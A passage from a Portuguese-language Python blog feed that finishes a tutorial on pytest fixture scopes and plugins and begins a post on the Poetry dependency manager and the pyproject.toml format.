    request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;mark&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;usefixtures&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x_and_y&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TestAddingThingsUp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_one_is_equal_two&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_wrapper_object_with_twentyis_equal_to_twenty_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Alguns pontos importantes não podem passar em branco:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Note o uso do argumento &lt;code class=&quot;language-text&quot;&gt;scope=&quot;class&quot;&lt;/code&gt; decorando a assinatura da &lt;em&gt;fixture&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;x_and_y&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;pytest.mark.usefixtures&lt;/code&gt; é quem ativa o uso da &lt;em&gt;fixture&lt;/em&gt; na classe &lt;code class=&quot;language-text&quot;&gt;TestAddingThingsUp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Para visualizar o resultado dos &lt;code class=&quot;language-text&quot;&gt;print&lt;/code&gt;, é preciso executar o &lt;code class=&quot;language-text&quot;&gt;pytest&lt;/code&gt; com o parâmetro &lt;code class=&quot;language-text&quot;&gt;-s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Note que esse é outro exemplo bobo (:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Já que temos o comportamento do &lt;code class=&quot;language-text&quot;&gt;setUp&lt;/code&gt;, conseguimos ter o &lt;code class=&quot;language-text&quot;&gt;tearDown&lt;/code&gt;? Sim! Com um &lt;code class=&quot;language-text&quot;&gt;yield&lt;/code&gt;
dentro da &lt;em&gt;fixture&lt;/em&gt;, você consegue &quot;agendar&quot; código a ser executado como parte do
&lt;em&gt;off-load&lt;/em&gt; da mesma:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;scope&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;class&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;x_and_y&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Class fixture&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;yield&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Tearing things down!!!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma vez que fica claro o funcionamento dos &lt;em&gt;scopes&lt;/em&gt;, os três restantes são quase intuitivos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Module:&lt;/strong&gt; Executa a &lt;em&gt;fixture&lt;/em&gt; por módulo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Package:&lt;/strong&gt; Executa a &lt;em&gt;fixture&lt;/em&gt; por pacote;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session:&lt;/strong&gt; Cada vez que você executa o &lt;em&gt;Pytest&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para fins didáticos, vamos utilizar outro argumento na construção das &lt;em&gt;fixtures&lt;/em&gt;
que exemplificarão como esses escopos funcionam. Estamos falando do &lt;code class=&quot;language-text&quot;&gt;autouse&lt;/code&gt;, e sem
nenhuma surpresa, ele faz a &lt;em&gt;fixture&lt;/em&gt; ser executada automaticamente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;scope&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;module&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; autouse&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;saying_hello_per_module&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Module fixture&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;scope&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;package&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; autouse&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;saying_hello_per_package&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Package fixture&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;scope&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; autouse&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;saying_hello_per_session&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Session fixture&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora com o &lt;code class=&quot;language-text&quot;&gt;pytest -s&lt;/code&gt;, podemos ver na prática o que acontece:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pytest -s

(...)

tests/test_my_calc.py Session fixture
Package fixture
Module fixture
Class fixture
.Function fixture
.Function fixture
.Tearing things down!!!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Baterias inclusas + plugins == sucesso!&lt;/h2&gt;
&lt;p&gt;Há muitos outros conceitos por trás do &lt;em&gt;Pytest&lt;/em&gt;. Do arquivo &lt;em&gt;conftest.py&lt;/em&gt; ao
&lt;a href=&quot;https://stribny.name/blog/pytest/#parametrized-tests&quot; title=&quot;Testing Python applications with Pytest&quot;&gt;@parametrize&lt;/a&gt;, você vai encontrar funcionalidades incríveis que aumentarão
a sua produtividade escrevendo testes.&lt;/p&gt;
&lt;p&gt;E quando adicionamos os &lt;em&gt;plugins&lt;/em&gt; do &lt;em&gt;Pytest&lt;/em&gt; à equação, tudo fica mais divertido.
Para começar, se você está escrevendo testes em &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; e quer utilizar &lt;em&gt;Pytest&lt;/em&gt;, o &lt;a href=&quot;https://pytest-django.readthedocs.io/en/latest/&quot; title=&quot;Leia a documentação da biblioteca&quot;&gt;pytest-django&lt;/a&gt; é mais que obrigatório. Ele resolverá tudo o que precisa-se resolver (banco de dados, sessões, transações, etc)
&lt;em&gt;out of the box&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Outros grande &lt;em&gt;plugins&lt;/em&gt; são:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pytest-dev/pytest-bdd&quot; title=&quot;Acesse o repositório no Github&quot;&gt;pytest-bdd&lt;/a&gt;: &lt;em&gt;BDD&lt;/em&gt; sem precisar de outro &lt;em&gt;test runner&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pytest-dev/pytest-cov&quot; title=&quot;Acesse o repositório no Github&quot;&gt;pytest-cov&lt;/a&gt;: Relatório de &lt;em&gt;test coverage&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ktosiek/pytest-freezegun&quot; title=&quot;Acesse o repositório no Github&quot;&gt;pytest-freezegun&lt;/a&gt;: Congele o tempo com essa integração com o &lt;em&gt;Freezegun&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pytest-dev/pytest-instafail&quot; title=&quot;Acesse o repositório no Github&quot;&gt;pytest-instafail&lt;/a&gt;: Mostra falhas e erros antes do fim da sessão de testes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/miketheman/pytest-socket&quot; title=&quot;Acesse o repositório no Gihub&quot;&gt;pytest-socket&lt;/a&gt;: Previna &lt;em&gt;network calls&lt;/em&gt; indesejadas&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Teemu/pytest-sugar&quot; title=&quot;Acesse o repositório no Github&quot;&gt;pytest-sugar&lt;/a&gt;: Progress bar e uma melhor visualização de falhas e erros&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pytest-dev/pytest-xdist&quot; title=&quot;Acesse o repositório no Github&quot;&gt;pytest-xdist&lt;/a&gt;: Paralelize a execução dos testes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://awesomeopensource.com/projects/pytest&quot; title=&quot;Veja projetos relacionados com Pytest&quot;&gt;A lista é imensa&lt;/a&gt;, e garanto que há um &lt;em&gt;plugin&lt;/em&gt; por aí pronto para resolver os seus problemas.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Pytest&lt;/em&gt; faz parte daquele seleto grupo de bibliotecas que instalamos imediatamente após iniciar um projeto. É rico, poderoso, flexível,
e faz do desenvolvimento orientado a testes uma experiência muito mais satisfatória, do que com a opção utilizando a &lt;em&gt;standard lib&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Atualmente na &lt;a href=&quot;https://www.sonofatailor.com/&quot; title=&quot;Custom fitted T-shirts&quot;&gt;&lt;em&gt;Son of a Tailor&lt;/em&gt;&lt;/a&gt;, estamos aumentando o nosso &lt;em&gt;coverage&lt;/em&gt; e gradativamente
adotando as baterias inclusas do &lt;em&gt;Pytest&lt;/em&gt;. Todos os testes, no entanto, utilizam a &lt;code class=&quot;language-text&quot;&gt;django.tests.TestCase&lt;/code&gt;. Mesmo assim, fomos capazes de trocar o &lt;em&gt;test runner&lt;/em&gt; para o &lt;em&gt;Pytest&lt;/em&gt;,
e tirar proveito de seus &lt;em&gt;plugins&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Sem nenhum problema.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/better-programming/understand-5-scopes-of-pytest-fixtures-1b607b5c19ed&quot;&gt;BetterProgramming: Understand 5 Scopes of Pytest Fixtures&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://realpython.com/pytest-python-testing/&quot;&gt;Real Python: Effective Python Testing with Pytest&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://semaphoreci.com/community/tutorials/testing-python-applications-with-pytest&quot;&gt;Semaphore: Testing Python Applications with Pytest&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stribny.name/blog/pytest/&quot;&gt;Software development and beyond: Testing Python applications with Pytest&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Poesia pythonista com Poetry]]></title><description><![CDATA[O pip tem dado passos importantes em relação à
sua evolução, sendo um dos mais notórios deles a
adoção por padrão de backtracking.
Ainda…]]></description><link>https://klauslaube.com.br/2020/12/30/poesia-pythonista-com-poetry.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/12/30/poesia-pythonista-com-poetry.html</guid><pubDate>Wed, 30 Dec 2020 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;/tag/pip.html&quot; title=&quot;Leia mais sobre pip&quot;&gt;&lt;em&gt;pip&lt;/em&gt;&lt;/a&gt; tem dado passos importantes em relação à
sua evolução, sendo um dos mais notórios deles a
&lt;a href=&quot;https://pip.pypa.io/en/stable/user_guide/#dependency-resolution-backtracking&quot; title=&quot;Dependency resolution backtracking&quot;&gt;adoção por padrão de &lt;em&gt;backtracking&lt;/em&gt;&lt;/a&gt;.
Ainda assim, por suas atribuições serem exclusivamente de um gerenciador de dependências, ele pode deixar
um gostinho de &quot;quero mais&quot; no seu &lt;em&gt;flow&lt;/em&gt; de desenvolvimento. E é nessas necessidades não atendidas
que algumas opções se apresentam como alternativas/complementos ao simpático utilitário de linha de comando.&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;/tag/pipfile.html&quot; title=&quot;Leia mais sobre Pipfile&quot;&gt;&lt;em&gt;Pipfile&lt;/em&gt;&lt;/a&gt; é uma delas, e já falamos
sobre no &lt;a href=&quot;/2018/06/11/tchau-requirements-ola-pipfile.html&quot; title=&quot;Leia o post na íntegra&quot;&gt;&quot;Tchau, requirements. Olá, Pipfile!&quot;&lt;/a&gt;. Demorou um pouco, mas hoje vamos falar do seu concorrente direto,
o &lt;a href=&quot;https://python-poetry.org/&quot; title=&quot;Python packaging and dependency management made easy&quot;&gt;&lt;em&gt;Poetry&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Determinismo é só o começo&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;I built Poetry because I wanted a single tool to manage my Python projects from start to finish.
I wanted something reliable and intuitive that the community could use and enjoy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Essas são as palavras do criador do &lt;em&gt;Poetry&lt;/em&gt;, &lt;em&gt;Sébastien Eustace&lt;/em&gt;. O mesmo argumento usado no artigo sobre
&lt;em&gt;Pipfile&lt;/em&gt;, acerca de &lt;em&gt;build&lt;/em&gt; determinístico, se sustenta aqui. E assim como o &lt;em&gt;Pipenv&lt;/em&gt;, há uma camada extra
de funcionalidades que &quot;adoçam&quot; o &lt;em&gt;build&lt;/em&gt; e o controle de &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre virtualenv&quot;&gt;&lt;em&gt;virtualenvs&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 423px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d0eada5525bea4e90e5434f08ea62378/b7bea/determinism-meme.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 173.4375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAjABQDASIAAhEBAxEB/8QAGQAAAwEBAQAAAAAAAAAAAAAAAAIDBAEF/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhADEAAAAfPdLrkOhOy6oyiBBgskAf/EAB0QAAICAgMBAAAAAAAAAAAAAAECABEDEhAhIjH/2gAIAQEAAQUCtoSSC5iL7ONSpWXAequIcc3xQut/DsRx/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPwFf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPwFf/8QAIRAAAQMDBAMAAAAAAAAAAAAAAQACMRARIiAhMjNhkaH/2gAIAQEABj8Ckrl9UlZuAHhYvupb70G7S5dLltcCk0//xAAhEAACAQMDBQAAAAAAAAAAAAABEQAhMUEQUXFhgZGh4f/aAAgBAQABPyEKdbmCFTxABVrrCHuGBUIC8LCilcNy2QwN7uZBEwP+F7lHFzGj7RfYTYpMbR//2gAMAwEAAgADAAAAEJQCvwgv/8QAGBEAAwEBAAAAAAAAAAAAAAAAARARACH/2gAIAQMBAT8QvEDNQ//EABcRAAMBAAAAAAAAAAAAAAAAAAAQEQH/2gAIAQIBAT8QihNf/8QAHhABAQADAQACAwAAAAAAAAAAAREAITFBEFGRwdH/2gAIAQEAAT8Q+oQLedOR6H73m/WAt/3IpJbtHkLgXNBSic3dOJofQ5Z+e4aZsKDOzeISClmFobRDR6QwCAdyxvPO41HTqLMM9uHaYr8f/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Meme de Guerra Civil com Capitão América e Homem de Ferro&quot;
        title=&quot;Não há razão para flamewar entre pip x {pipenv, poetry} (freethinkingministries.com)&quot;
        src=&quot;/static/d0eada5525bea4e90e5434f08ea62378/b7bea/determinism-meme.jpg&quot;
        srcset=&quot;/static/d0eada5525bea4e90e5434f08ea62378/7809d/determinism-meme.jpg 192w,
/static/d0eada5525bea4e90e5434f08ea62378/4ecad/determinism-meme.jpg 384w,
/static/d0eada5525bea4e90e5434f08ea62378/b7bea/determinism-meme.jpg 423w&quot;
        sizes=&quot;(max-width: 423px) 100vw, 423px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não há razão para flamewar entre pip x {pipenv, poetry} (freethinkingministries.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A sua instalação pode ocorrer de maneiras diferentes, dependendo do SO que você estiver utilizando. Portanto,
&lt;a href=&quot;https://python-poetry.org/docs/#installation&quot; title=&quot;Leia mais sobre como instalar o Poetry&quot;&gt;uma visita à sua documentação é essencial&lt;/a&gt;. Ainda
assim, nada que o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; (que ironia) não resolva:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install --user poetry&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para compreender como a ferramenta funciona de fato, vamos seguir os mesmos passos do &lt;em&gt;getting started&lt;/em&gt; da documentação oficial:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry new poetry-demo
$ cd poetry-demo/
$ ls
README.rst     poetry_demo    pyproject.toml tests&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Aqui nos deparamos com a primeira peculiaridade: o arquivo &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Pyproject? TOML?&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;pip&lt;/em&gt; utiliza o &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;, o &lt;em&gt;Pipenv&lt;/em&gt; utiliza o &lt;code class=&quot;language-text&quot;&gt;Pipfile&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;Pipfile.lock&lt;/code&gt;, e o &lt;em&gt;Poetry&lt;/em&gt; o &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt;
e &lt;code class=&quot;language-text&quot;&gt;poetry.lock&lt;/code&gt;.
Todos os arquivos citados são utilizados pelas respectivas ferramentas de controle de pacotes para
gerenciar atualizações e instalar novas dependências.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;TOML&lt;/em&gt; (&lt;em&gt;Tom&apos;s Obvious, Minimal Language&lt;/em&gt;) é um formato utilizado para a escrita de arquivos de configuração. Segundo o &lt;a href=&quot;https://toml.io/en/&quot; title=&quot;Leia mais sobre TOML&quot;&gt;site oficial&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TOML aims to be a minimal configuration file format that&apos;s easy to read due to obvious semantics. TOML is designed to map unambiguously to a hash table. TOML should be easy to parse into data structures in a wide variety of languages.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Se você já conhece o &lt;em&gt;Pipfile&lt;/em&gt;, a sintaxe utilizada no arquivo é a mesma. Mas qual é
a motivação por trás do arquivo &lt;code class=&quot;language-text&quot;&gt;pyproject&lt;/code&gt;?&lt;/p&gt;
&lt;h3&gt;Senta que lá vem a história.&lt;/h3&gt;
&lt;p&gt;Antes do ano de 1998 havia o vazio, quando o assunto era empacotamento em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;.
A partir dos anos 2000, instalar, buildar, ou distribuir pacotes começou a ganhar
um novo sentido através da inserção da biblioteca &lt;code class=&quot;language-text&quot;&gt;distutils&lt;/code&gt; ao &lt;em&gt;standard lib&lt;/em&gt;, e
